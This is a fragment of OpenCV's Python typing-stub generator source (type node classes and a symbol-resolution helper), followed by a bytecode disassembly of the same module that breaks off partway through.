self._ast_node is not None or self._module_name is not None ), "'{}' exported as '{}' is not resolved yet".format( self.ctype_name, self.typename ) if self._module_name is None: type_module = self._ast_node.parent # type: ignore while type_module.node_type is not ASTNodeType.Namespace: type_module = type_module.parent module_name = type_module.full_export_name else: module_name = self._module_name if module_name != module: return self.full_typename return self.full_typename[len(module_name) + 1 :] class AggregatedTypeNode(TypeNode): """Base type node for type nodes representing an aggregation of another type nodes e.g. tuple, sequence or callable.""" def __init__(self, ctype_name: str, items: Sequence[TypeNode]) -> None: super().__init__(ctype_name) self.items = list(items) @property def is_resolved(self) -> bool: return all(item.is_resolved for item in self.items) def resolve(self, root: ASTNode) -> None: errors = [] for item in filter(lambda item: not item.is_resolved, self): try: item.resolve(root) except TypeResolutionError as e: errors.append(str(e)) if len(errors) > 0: raise TypeResolutionError( 'Failed to resolve one of "{}" items. Errors: {}'.format( self.full_typename, errors ) ) def __iter__(self): return iter(self.items) def __len__(self) -> int: return len(self.items) @property def required_definition_imports(self) -> Generator[str, None, None]: for item in self: yield from item.required_definition_imports @property def required_usage_imports(self) -> Generator[str, None, None]: for item in self: yield from item.required_usage_imports class ContainerTypeNode(AggregatedTypeNode): """Base type node for all type nodes representing a container type.""" @property def typename(self) -> str: return self.type_format.format( self.types_separator.join(item.typename for item in self) ) @property def full_typename(self) -> str: return self.type_format.format( self.types_separator.join(item.full_typename for item in self) ) def relative_typename(self, module: str) -> str: return self.type_format.format( self.types_separator.join(item.relative_typename(module) for item in self) ) @property def required_definition_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" yield from super().required_definition_imports @property def required_usage_imports(self) -> Generator[str, None, None]: if TypeNode.compatible_to_runtime_usage: yield "import typing as _typing" yield from super().required_usage_imports @abc.abstractproperty def type_format(self) -> str: pass @abc.abstractproperty def types_separator(self) -> str: pass class SequenceTypeNode(ContainerTypeNode): """Type node representing a homogeneous collection of elements with possible unknown length. """ def __init__(self, ctype_name: str, item: TypeNode) -> None: super().__init__(ctype_name, (item,)) @property def type_format(self) -> str: return "_typing.Sequence[{}]" @property def types_separator(self) -> str: return ", " class TupleTypeNode(ContainerTypeNode): """Type node representing possibly heterogeneous collection of types with possibly unspecified length. """ @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Tuple[{}]" return "tuple[{}]" @property def types_separator(self) -> str: return ", " class UnionTypeNode(ContainerTypeNode): """Type node representing type that can be one of the predefined set of types.""" @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Union[{}]" return "{}" @property def types_separator(self) -> str: if TypeNode.compatible_to_runtime_usage: return ", " return " | " class OptionalTypeNode(ContainerTypeNode): """Type node representing optional type which is effectively is a union of value type node and None. """ def __init__(self, value: TypeNode) -> None: super().__init__(value.ctype_name, (value,)) @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Optional[{}]" return "{} | None" @property def types_separator(self) -> str: return ", " class DictTypeNode(ContainerTypeNode): """Type node representing a homogeneous key-value mapping.""" def __init__( self, ctype_name: str, key_type: TypeNode, value_type: TypeNode ) -> None: super().__init__(ctype_name, (key_type, value_type)) @property def key_type(self) -> TypeNode: return self.items[0] @property def value_type(self) -> TypeNode: return self.items[1] @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Dict[{}]" return "dict[{}]" @property def types_separator(self) -> str: return ", " class CallableTypeNode(AggregatedTypeNode): """Type node representing a callable type (most probably a function). ```python CallableTypeNode( 'image_reading_callback', arg_types=(ASTNodeTypeNode('Image'), PrimitiveTypeNode.float_()) ) ``` defines a callable type node representing a function with the same interface as the following ```python def image_reading_callback(image: Image, timestamp: float) -> None: ... ``` """ def __init__( self, ctype_name: str, arg_types: Union[TypeNode, Sequence[TypeNode]], ret_type: TypeNode = NoneTypeNode("void"), ) -> None: if isinstance(arg_types, TypeNode): super().__init__(ctype_name, (arg_types, ret_type)) else: super().__init__(ctype_name, (*arg_types, ret_type)) @property def arg_types(self) -> Sequence[TypeNode]: return self.items[:-1] @property def ret_type(self) -> TypeNode: return self.items[-1] @property def typename(self) -> str: return "_typing.Callable[[{}], {}]".format( ", ".join(arg.typename for arg in self.arg_types), self.ret_type.typename ) @property def full_typename(self) -> str: return "_typing.Callable[[{}], {}]".format( ", ".join(arg.full_typename for arg in self.arg_types), self.ret_type.full_typename, ) def relative_typename(self, module: str) -> str: return "_typing.Callable[[{}], {}]".format( ", ".join(arg.relative_typename(module) for arg in self.arg_types), self.ret_type.relative_typename(module), ) @property def required_definition_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" yield from super().required_definition_imports @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" yield from super().required_usage_imports class ClassTypeNode(ContainerTypeNode): """Type node representing types themselves (refer to typing.Type)""" def __init__(self, value: TypeNode) -> None: super().__init__(value.ctype_name, (value,)) @property def type_format(self) -> str: return "_typing.Type[{}]" @property def types_separator(self) -> str: return ", " def _resolve_symbol( root: Optional[ASTNode], full_symbol_name: str ) -> Optional[ASTNode]: """Searches for a symbol with the given full export name in the AST starting from the `root`. Args: root (Optional[ASTNode]): Root of the examining AST. full_symbol_name (str): Full export name of the symbol to find. Path components can be divided by '.' or '_'. Returns: Optional[ASTNode]: ASTNode with full export name equal to `full_symbol_name`, None otherwise. >>> root = NamespaceNode('cv') >>> cls = root.add_class('Algorithm').add_class('Params') >>> _resolve_symbol(root, 'cv.Algorithm.Params') == cls True >>> root = NamespaceNode('cv') >>> enum = root.add_namespace('detail').add_enumeration('AlgorithmType') >>> _resolve_symbol(root, 'cv_detail_AlgorithmType') == enum True >>> root = NamespaceNode('cv') >>> _resolve_symbol(root, 'cv.detail.Algorithm') None >>> root = NamespaceNode('cv') >>> enum = root.add_namespace('detail').add_enumeration('AlgorithmType') >>> _resolve_symbol(root, 'AlgorithmType') None """ def search_down_symbol( scope: Optional[ASTNode], scope_sep: str ) -> Optional[ASTNode]: parts = full_symbol_name.split(scope_sep, maxsplit=1) while len(parts) == 2: scope = _resolve_symbol(scope, parts[0]) if scope is None: return None node = _resolve_symbol(scope, parts[1]) if node is not None: return node parts = parts[1].split(scope_sep, maxsplit=1) return None assert root is not None, "Can't resolve symbol '{}' from NONE root".format( full_symbol_name ) for attr in filter( lambda attr: hasattr(root, attr), ("namespaces", "classes", "enumerations") ): nodes_dict = getattr(root, attr) node = nodes_dict.get(full_symbol_name, None) if node is not None: return node for scope_sep in ("_", "."): node = search_down_symbol(root, scope_sep) if node is not None: return node return None
data/opencv-contrib-python-4.9.0.80/opencv/modules/python/src2/typing_stubs_generation/nodes/type_node.py
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9,016
146,911
LOAD_CONST 0 LOAD_CONST ('Sequence', 'Generator', 'Tuple', 'Optional', 'Union') IMPORT_NAME typing IMPORT_FROM Sequence STORE_NAME Sequence IMPORT_FROM Generator STORE_NAME Generator IMPORT_FROM Tuple STORE_NAME Tuple IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Union STORE_NAME Union POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME weakref STORE_NAME weakref LOAD_CONST 0 LOAD_CONST None IMPORT_NAME abc STORE_NAME abc LOAD_CONST 1 LOAD_CONST ('ASTNode', 'ASTNodeType') IMPORT_NAME node IMPORT_FROM ASTNode STORE_NAME ASTNode IMPORT_FROM ASTNodeType STORE_NAME ASTNodeType POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object TypeResolutionError at 0x7f8e44712b70, file "f.py", line 8> LOAD_CONST 'TypeResolutionError' MAKE_FUNCTION LOAD_CONST 'TypeResolutionError' LOAD_NAME Exception CALL_FUNCTION STORE_NAME TypeResolutionError LOAD_BUILD_CLASS LOAD_CONST <code object TypeNode at 0x7f8e2fb43810, file "f.py", line 12> LOAD_CONST 'TypeNode' MAKE_FUNCTION LOAD_CONST 'TypeNode' LOAD_NAME abc LOAD_ATTR ABC CALL_FUNCTION STORE_NAME TypeNode LOAD_BUILD_CLASS LOAD_CONST <code object NoneTypeNode at 0x7f8e2fb436f0, file "f.py", line 143> LOAD_CONST 'NoneTypeNode' MAKE_FUNCTION LOAD_CONST 'NoneTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME NoneTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AnyTypeNode at 0x7f8e2fb43540, file "f.py", line 151> LOAD_CONST 'AnyTypeNode' MAKE_FUNCTION LOAD_CONST 'AnyTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AnyTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object PrimitiveTypeNode at 0x7f8e2fb438a0, file "f.py", line 163> LOAD_CONST 'PrimitiveTypeNode' MAKE_FUNCTION LOAD_CONST 'PrimitiveTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME PrimitiveTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AliasRefTypeNode at 0x7f8e2fb43d20, file "f.py", line 199> LOAD_CONST 'AliasRefTypeNode' MAKE_FUNCTION LOAD_CONST 'AliasRefTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AliasRefTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AliasTypeNode at 0x7f8e2fe3c300, file "f.py", line 233> LOAD_CONST 'AliasTypeNode' MAKE_FUNCTION LOAD_CONST 'AliasTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AliasTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ConditionalAliasTypeNode at 0x7f8e2fe3c930, file "f.py", line 439> LOAD_CONST 'ConditionalAliasTypeNode' MAKE_FUNCTION LOAD_CONST 'ConditionalAliasTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME ConditionalAliasTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object NDArrayTypeNode at 0x7f8e2fe3cae0, file "f.py", line 538> LOAD_CONST 'NDArrayTypeNode' MAKE_FUNCTION LOAD_CONST 'NDArrayTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME NDArrayTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ASTNodeTypeNode at 0x7f8e2fe140c0, file "f.py", line 566> LOAD_CONST 'ASTNodeTypeNode' MAKE_FUNCTION LOAD_CONST 'ASTNodeTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME ASTNodeTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object AggregatedTypeNode at 0x7f8e2ff5e540, file "f.py", line 670> LOAD_CONST 'AggregatedTypeNode' MAKE_FUNCTION LOAD_CONST 'AggregatedTypeNode' LOAD_NAME TypeNode CALL_FUNCTION STORE_NAME AggregatedTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ContainerTypeNode at 0x7f8e2ff5eed0, file "f.py", line 713> LOAD_CONST 'ContainerTypeNode' MAKE_FUNCTION LOAD_CONST 'ContainerTypeNode' LOAD_NAME AggregatedTypeNode CALL_FUNCTION STORE_NAME ContainerTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object SequenceTypeNode at 0x7f8af177a270, file "f.py", line 753> LOAD_CONST 'SequenceTypeNode' MAKE_FUNCTION LOAD_CONST 'SequenceTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME SequenceTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object TupleTypeNode at 0x7f8af177a4b0, file "f.py", line 770> LOAD_CONST 'TupleTypeNode' MAKE_FUNCTION LOAD_CONST 'TupleTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME TupleTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object UnionTypeNode at 0x7f8af177a660, file "f.py", line 786> LOAD_CONST 'UnionTypeNode' MAKE_FUNCTION LOAD_CONST 'UnionTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME UnionTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object OptionalTypeNode at 0x7f8af177a930, file "f.py", line 802> LOAD_CONST 'OptionalTypeNode' MAKE_FUNCTION LOAD_CONST 'OptionalTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME OptionalTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object DictTypeNode at 0x7f8af177ad20, file "f.py", line 821> LOAD_CONST 'DictTypeNode' MAKE_FUNCTION LOAD_CONST 'DictTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME DictTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object CallableTypeNode at 0x7f8af1743420, file "f.py", line 848> LOAD_CONST 'CallableTypeNode' MAKE_FUNCTION LOAD_CONST 'CallableTypeNode' LOAD_NAME AggregatedTypeNode CALL_FUNCTION STORE_NAME CallableTypeNode LOAD_BUILD_CLASS LOAD_CONST <code object ClassTypeNode at 0x7f8af17436f0, file "f.py", line 913> LOAD_CONST 'ClassTypeNode' MAKE_FUNCTION LOAD_CONST 'ClassTypeNode' LOAD_NAME ContainerTypeNode CALL_FUNCTION STORE_NAME ClassTypeNode LOAD_NAME Optional LOAD_NAME ASTNode BINARY_SUBSCR LOAD_NAME str LOAD_NAME Optional LOAD_NAME ASTNode BINARY_SUBSCR LOAD_CONST ('root', 'full_symbol_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _resolve_symbol at 0x7f8af1743a50, file "f.py", line 928> LOAD_CONST '_resolve_symbol' MAKE_FUNCTION STORE_NAME _resolve_symbol LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TypeResolutionError' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TypeNode' STORE_NAME __qualname__ LOAD_CONST "This class and its derivatives used for construction parts of AST that\n otherwise can't be constructed from the information provided by header\n parser, because this information is either not available at that moment of\n time or not available at all:\n - There is no possible way to derive correspondence between C++ type\n and its Python equivalent if it is not exposed from library\n e.g. `cv::Rect`.\n - There is no information about types visibility (see `ASTNodeTypeNode`).\n " STORE_NAME __doc__ LOAD_CONST False STORE_NAME compatible_to_runtime_usage LOAD_NAME str LOAD_CONST None LOAD_CONST ('ctype_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7f8e44712f60, file "f.py", line 34> LOAD_CONST 'TypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME abc LOAD_ATTR abstractproperty LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7f8e447128a0, file "f.py", line 37> LOAD_CONST 'TypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7f8e44712db0, file "f.py", line 47> LOAD_CONST 'TypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7f8e44712c90, file "f.py", line 58> LOAD_CONST 'TypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7f8e2fb43030, file "f.py", line 82> LOAD_CONST 'TypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7f8e2fb43ae0, file "f.py", line 106> LOAD_CONST 'TypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME str LOAD_NAME str LOAD_CONST ('module_full_export_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7f8e2fb43660, file "f.py", line 110> LOAD_CONST 'TypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_NAME ASTNode LOAD_CONST None LOAD_CONST ('root', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7f8e2fb43c00, file "f.py", line 124> LOAD_CONST 'TypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_CONST None RETURN_VALUE LOAD_FAST ctype_name LOAD_FAST self STORE_ATTR ctype_name LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR typename RETURN_VALUE LOAD_CONST () GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST () GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_ATTR full_typename RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'NoneTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a None (or `void` in C++) type.' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7f8e2fb43780, file "f.py", line 146> LOAD_CONST 'NoneTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_CONST None RETURN_VALUE LOAD_CONST 'None' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AnyTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing any type (most of the time it means unknown).' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7f8e2fb43db0, file "f.py", line 154> LOAD_CONST 'AnyTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7f8e2fb43300, file "f.py", line 158> LOAD_CONST 'AnyTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Any' RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PrimitiveTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a primitive built-in types e.g. int, float, str.' STORE_NAME __doc__ LOAD_CONST (None,) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'typename', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8e2fb43c90, file "f.py", line 166> LOAD_CONST 'PrimitiveTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7f8e2fb430c0, file "f.py", line 170> LOAD_CONST 'PrimitiveTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object int_ at 0x7f8e2fb43ed0, file "f.py", line 174> LOAD_CONST 'PrimitiveTypeNode.int_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME int_ LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object float_ at 0x7f8e2fb43420, file "f.py", line 180> LOAD_CONST 'PrimitiveTypeNode.float_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME float_ LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object bool_ at 0x7f8e2fb43390, file "f.py", line 186> LOAD_CONST 'PrimitiveTypeNode.bool_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME bool_ LOAD_NAME classmethod LOAD_CONST (None,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name',) BUILD_CONST_KEY_MAP LOAD_CONST <code object str_ at 0x7f8e2fb435d0, file "f.py", line 192> LOAD_CONST 'PrimitiveTypeNode.str_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME str_ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST typename LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST typename JUMP_FORWARD to 26 LOAD_FAST ctype_name LOAD_FAST self STORE_ATTR _typename LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _typename RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'int' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'int' LOAD_CONST ('typename',) CALL_FUNCTION RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'float' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'float' LOAD_CONST ('typename',) CALL_FUNCTION RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'bool' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'bool' LOAD_CONST ('typename',) CALL_FUNCTION RETURN_VALUE LOAD_FAST ctype_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'string' STORE_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_FAST ctype_name LOAD_CONST 'str' CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AliasRefTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing an alias referencing another alias. Example:\n ```python\n Point2i = tuple[int, int]\n Point = Point2i\n ```\n During typing stubs generation procedure above code section might be defined\n as follows\n ```python\n AliasTypeNode.tuple_("Point2i",\n items=(\n PrimitiveTypeNode.int_(),\n PrimitiveTypeNode.int_()\n ))\n AliasTypeNode.ref_("Point", "Point2i")\n ```\n ' STORE_NAME __doc__ LOAD_CONST (None,) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('alias_ctype_name', 'alias_export_name') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8e2fb43150, file "f.py", line 217> LOAD_CONST 'AliasRefTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7f8e2fb43b70, file "f.py", line 224> LOAD_CONST 'AliasRefTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7f8e2fb431e0, file "f.py", line 228> LOAD_CONST 'AliasRefTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST alias_ctype_name CALL_METHOD POP_TOP LOAD_FAST alias_export_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST alias_ctype_name LOAD_FAST self STORE_ATTR alias_export_name JUMP_FORWARD to 34 LOAD_FAST alias_export_name LOAD_FAST self STORE_ATTR alias_export_name LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR alias_export_name RETURN_VALUE LOAD_CONST 'cv2.typing.' LOAD_FAST self LOAD_ATTR typename BINARY_ADD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AliasTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing an alias to another type.\n Example:\n ```python\n Point2i = tuple[int, int]\n ```\n can be defined as\n ```python\n AliasTypeNode.tuple_("Point2i",\n items=(\n PrimitiveTypeNode.int_(),\n PrimitiveTypeNode.int_()\n ))\n ```\n Under the hood it is implemented as a container of another type node.\n ' STORE_NAME __doc__ LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'value', 'export_name', 'doc', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8e2fb43e40, file "f.py", line 250> LOAD_CONST 'AliasTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7f8e2fe58390, file "f.py", line 262> LOAD_CONST 'AliasTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7f8e2fe58150, file "f.py", line 268> LOAD_CONST 'AliasTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7f8e2fe58810, file "f.py", line 272> LOAD_CONST 'AliasTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7f8e2fe581e0, file "f.py", line 276> LOAD_CONST 'AliasTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7f8e2fe585d0, file "f.py", line 280> LOAD_CONST 'AliasTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST ('root',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7f8e2fe584b0, file "f.py", line 284> LOAD_CONST 'AliasTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object int_ at 0x7f8e2fe58b70, file "f.py", line 294> LOAD_CONST 'AliasTypeNode.int_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME int_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object float_ at 0x7f8e2fe588a0, file "f.py", line 303> LOAD_CONST 'AliasTypeNode.float_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME float_ LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_NAME str LOAD_NAME str LOAD_NAME Optional LOAD_NAME Tuple LOAD_NAME int LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'array_ref_name', 'shape', 'dtype', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object array_ref_ at 0x7f8e2fe58e40, file "f.py", line 312> LOAD_CONST 'AliasTypeNode.array_ref_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME array_ref_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Tuple LOAD_NAME TypeNode LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR 